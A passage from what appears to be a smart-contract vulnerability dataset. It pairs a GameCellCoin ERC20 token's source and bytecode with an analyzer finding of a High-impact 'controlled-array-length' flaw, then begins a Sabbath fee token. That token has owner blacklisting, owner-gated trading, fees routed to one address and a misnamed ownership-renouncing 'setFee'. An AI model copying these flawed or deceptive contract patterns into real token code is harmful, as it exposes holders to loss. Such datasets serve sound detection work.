* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules\zeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: node_modules\zeppelin-solidity\contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts\GameCellCoin.sol
/*****************************************************************************
*
*Copyright 2018 GameCell
*
*Licensed under the Apache License, Version 2.0 (the "License");
*you may not use this file except in compliance with the License.
*You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
*Unless required by applicable law or agreed to in writing, software
*distributed under the License is distributed on an "AS IS" BASIS,
*WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*See the License for the specific language governing permissions and
*limitations under the License.
*
*****************************************************************************/
contract GameCellCoin is PausableToken
{
using SafeMath for uint256;
// ERC20 constants
string public name="Game Cell Coin";
string public symbol="GCC";
string public standard="ERC20";
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 25 *(10**8)*(10 ** uint256(decimals));
event ReleaseTarget(address target);
mapping(address => TimeLock[]) public allocations;
struct TimeLock
{
uint time;
uint256 balance;
}
/*Here is the constructor function that is executed when the instance is created*/
constructor() public
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
/**
* @dev transfer token for a specified address if transfer is open
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool)
{
require(canSubAllocation(msg.sender, _value));
subAllocation(msg.sender);
return super.transfer(_to, _value);
}
function canSubAllocation(address sender, uint256 sub_value) private constant returns (bool)
{
if (sub_value==0)
{
return false;
}
if (balances[sender] < sub_value)
{
return false;
}
uint256 alllock_sum = 0;
for (uint j=0; j<allocations[sender].length; j++)
{
if (allocations[sender][j].time >= block.timestamp)
{
alllock_sum = alllock_sum.add(allocations[sender][j].balance);
}
}
uint256 can_unlock = balances[sender].sub(alllock_sum);
return can_unlock >= sub_value;
}
function subAllocation(address sender) private
{
for (uint j=0; j<allocations[sender].length; j++)
{
if (allocations[sender][j].time < block.timestamp)
{
allocations[sender][j].balance = 0;
}
}
}
function setAllocation(address _address, uint256 total_value, uint[] times, uint256[] balanceRequires) public onlyOwner returns (bool)
{
require(times.length == balanceRequires.length);
uint256 sum = 0;
for (uint x=0; x<balanceRequires.length; x++)
{
require(balanceRequires[x]>0);
sum = sum.add(balanceRequires[x]);
}
require(total_value >= sum);
require(balances[msg.sender]>=sum);
for (uint i=0; i<times.length; i++)
{
bool find = false;
for (uint j=0; j<allocations[_address].length; j++)
{
if (allocations[_address][j].time == times[i])
{
allocations[_address][j].balance = allocations[_address][j].balance.add(balanceRequires[i]);
find = true;
break;
}
}
if (!find)
{
allocations[_address].push(TimeLock(times[i], balanceRequires[i]));
}
}
return super.transfer(_address, total_value);
}
function releaseAllocation(address target) public onlyOwner
{
require(balances[target] > 0);
for (uint j=0; j<allocations[target].length; j++)
{
allocations[target][j].balance = 0;
}
emit ReleaseTarget(target);
}
}
|
0x6080604052600436106101275763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663010bc33c811461012c57806306fdde0314610169578063095ea7b3146101f357806318160ddd1461022b57806323b872dd146102525780632ff2e9dc1461027c578063313ce567146102915780633f4ba83a146102bc5780635a3b7e42146102d35780635c975abb146102e857806366188463146102fd57806370a0823114610321578063715018a6146103425780638456cb59146103575780638da5cb5b1461036c57806395d89b411461039d578063a9059cbb146103b2578063bb30d796146103d6578063d73dd623146103f7578063dd62ed3e1461041b578063f2fde38b14610442578063faa23e5d14610463575b600080fd5b34801561013857600080fd5b50610150600160a060020a0360043516602435610503565b6040805192835260208301919091528051918290030190f35b34801561017557600080fd5b5061017e61053e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b85781810151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ff57600080fd5b50610217600160a060020a03600435166024356105cc565b604080519115158252519081900360200190f35b34801561023757600080fd5b506102406105f7565b60408051918252519081900360200190f35b34801561025e57600080fd5b50610217600160a060020a03600435811690602435166044356105fd565b34801561028857600080fd5b5061024061062a565b34801561029d57600080fd5b506102a661063a565b6040805160ff9092168252519081900360200190f35b3480156102c857600080fd5b506102d161063f565b005b3480156102df57600080fd5b5061017e6106b7565b3480156102f457600080fd5b50610217610712565b34801561030957600080fd5b50610217600160a060020a0360043516602435610722565b34801561032d57600080fd5b50610240600160a060020a0360043516610746565b34801561034e57600080fd5b506102d1610761565b34801561036357600080fd5b506102d16107cf565b34801561037857600080fd5b5061038161084c565b60408051600160a060020a039092168252519081900360200190f35b3480156103a957600080fd5b5061017e61085b565b3480156103be57600080fd5b50610217600160a060020a03600435166024356108b6565b3480156103e257600080fd5b506102d1600160a060020a03600435166108e0565b34801561040357600080fd5b50610217600160a060020a03600435166024356109c3565b34801561042757600080fd5b50610240600160a060020a03600435811690602435166109e7565b34801561044e57600080fd5b506102d1600160a060020a0360043516610a12565b34801561046f57600080fd5b506040805160206004604435818101358381028086018501909652808552610217958335600160a060020a0316956024803596369695606495939492019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610a359650505050505050565b60076020528160005260406000208181548110151561051e57fe5b600091825260209091206002909102018054600190910154909250905082565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105c45780601f10610599576101008083540402835291602001916105c4565b820191906000526020600020905b8154815290600101906020018083116105a757829003601f168201915b505050505081565b60035460009060a060020a900460ff16156105e657600080fd5b6105f08383610ce8565b9392505050565b60015490565b60035460009060a060020a900460ff161561061757600080fd5b610622848484610d4e565b949350505050565b6b0813f3978f8940984400000081565b601281565b600354600160a060020a0316331461065657600080fd5b60035460a060020a900460ff16151561066e57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105c45780601f10610599576101008083540402835291602001916105c4565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561073c57600080fd5b6105f08383610ec5565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461077857600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031633146107e657600080fd5b60035460a060020a900460ff16156107fd57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105c45780601f10610599576101008083540402835291602001916105c4565b60006108c23383610fb5565b15156108cd57600080fd5b6108d6336110ec565b6105f08383611194565b600354600090600160a060020a031633146108fa57600080fd5b600160a060020a0382166000908152602081905260408120541161091d57600080fd5b5060005b600160a060020a03821660009081526007602052604090205481101561098357600160a060020a038216600090815260076020526040812080548390811061096557fe5b60009182526020909120600160029092020181019190915501610921565b60408051600160a060020a038416815290517f77acf83d8ae1daf38e0b975c5604b980483e7122b188970278f9480356fc85459181900360200190a15050565b60035460009060a060020a900460ff16156109dd57600080fd5b6105f083836111b8565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a2957600080fd5b610a3281611251565b50565b60035460009081908190819081908190600160a060020a03163314610a5957600080fd5b8651885114610a6757600080fd5b60009450600093505b8651841015610ad25760008785815181101515610a8957fe5b6020908102909101015111610a9d57600080fd5b610ac58785815181101515610aae57fe5b60209081029091010151869063ffffffff6112cf16565b9450600190930192610a70565b84891015610adf57600080fd5b33600090815260208190526040902054851115610afb57600080fd5b600092505b8751831015610cd0575060009050805b600160a060020a038a16600090815260076020526040902054811015610c31578783815181101515610b3e57fe5b6020908102909101810151600160a060020a038c16600090815260079092526040909120805483908110610b6e57fe5b9060005260206000209060020201600001541415610c2957610be78784815181101515610b9757fe5b6020908102909101810151600160a060020a038d16600090815260079092526040909120805484908110610bc757fe5b9060005260206000209060020201600101546112cf90919063ffffffff16565b600160a060020a038b166000908152600760205260409020805483908110610c0b57fe5b90600052602060002090600202016001018190555060019150610c31565b600101610b10565b811515610cc557600760008b600160a060020a0316600160a060020a0316815260200190815260200160002060408051908101604052808a86815181101515610c7657fe5b9060200190602002015181526020018986815181101515610c9357fe5b602090810290910181015190915282546001818101855560009485529382902083516002909202019081559101519101555b600190920191610b00565b610cda8a8a611194565b9a9950505050505050505050565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610d6557600080fd5b600160a060020a038416600090815260208190526040902054821115610d8a57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610dba57600080fd5b600160a060020a038416600090815260208190526040902054610de3908363ffffffff6112e216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610e18908363ffffffff6112cf16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610e5a908363ffffffff6112e216565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610f1a57336000908152600260209081526040808320600160a060020a0388168452909152812055610f4f565b610f2a818463ffffffff6112e216565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000808080841515610fca57600093506110e3565b600160a060020a038616600090815260208190526040902054851115610ff357600093506110e3565b60009250600091505b600160a060020a0386166000908152600760205260409020548210156110b157600160a060020a038616600090815260076020526040902080544291908490811061104357fe5b6000918252602090912060029091020154106110a657600160a060020a038616600090815260076020526040902080546110a391908490811061108257fe5b906000526020600020906002020160010154846112cf90919063ffffffff16565b92505b600190910190610ffc565b600160a060020a0386166000908152602081905260409020546110da908463ffffffff6112e216565b90508481101593505b50505092915050565b60005b600160a060020a03821660009081526007602052604090205481101561119057600160a060020a038216600090815260076020526040902080544291908390811061113657fe5b906000526020600020906002020160000154101561118857600160a060020a038216600090815260076020526040812080548390811061117257fe5b9060005260206000209060020201600101819055505b6001016110ef565b5050565b60035460009060a060020a900460ff16156111ae57600080fd5b6105f083836112f4565b336000908152600260209081526040808320600160a060020a03861684529091528120546111ec908363ffffffff6112cf16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a038116151561126657600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b818101828110156112dc57fe5b92915050565b6000828211156112ee57fe5b50900390565b6000600160a060020a038316151561130b57600080fd5b3360009081526020819052604090205482111561132757600080fd5b33600090815260208190526040902054611347908363ffffffff6112e216565b3360009081526020819052604080822092909255600160a060020a03851681522054611379908363ffffffff6112cf16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001929150505600a165627a7a7230582016d444882b0ee776282fb55e58bb28f72c000441dee6855a8e099d89a1a6e1290029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,704 |
0xb7d87393cd193ffe47f3baa3d108903d5f046304
|
// SPDX-License-Identifier: Unlicensed
//In Abrahamic religions, the Sabbath is a day set aside for rest and worship. According to the Book of Exodus, the Sabbath is a day of rest on the seventh day,
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function setFee() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Sabbath is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sabbath";
string private constant _symbol = "Sabbath";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xcbA06530A08Ef4B35323997b0F79e1DBF33561aB);
address payable private _marketingAddress = payable(0xcbA06530A08Ef4B35323997b0F79e1DBF33561aB);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 200000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
